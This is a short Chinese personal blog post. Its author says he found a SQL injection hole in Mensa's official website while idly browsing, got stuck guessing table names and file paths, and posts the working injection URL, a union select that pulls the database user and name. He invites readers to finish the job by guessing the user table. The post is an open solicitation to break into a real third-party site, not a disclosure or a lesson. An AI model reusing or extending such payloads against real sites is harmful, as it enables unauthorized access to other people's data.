昨天看到鲁豫有约里采访几个中国的门萨成员，之后一时无聊，去了她们的官网，程序上有漏洞，但是却猜不到表名，load_file不到绝对路径而停滞不前，最大的无奈莫过于此，或许有人能猜到他的用户表吧，把注入点贴出来：http://www.mensa.org/nationalinfo.php?country=19%20and%201=2%20union%20select%201,user(),database(),4,5,6,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
文章归档
- 2010 May (1)
- 2009 May (1)
- 2008 December (1)
- 2008 November (5)
- 2008 September (1)
- 2008 August (1)
- 2008 July (1)
- 2008 June (1)
- 2008 April (1)
- 2008 March (4)
- 2008 February (3)
- 2007 December (3)
- 2007 September (1)
- 2007 July (1)
- 2007 May (1)
- 2007 April (1)
- 2007 March (2)
- 2007 February (4)
- 2006 October (1)
- 2006 September (3)
- 2006 August (5)
- 2006 June (4)
- 2006 May (2)
- 2006 April (6)
- 2006 March (7)
- 2006 February (5)
- 2006 January (2)
- 2005 December (6)
- 2005 November (7)
- 2004 October (3)
- 2004 September (23)
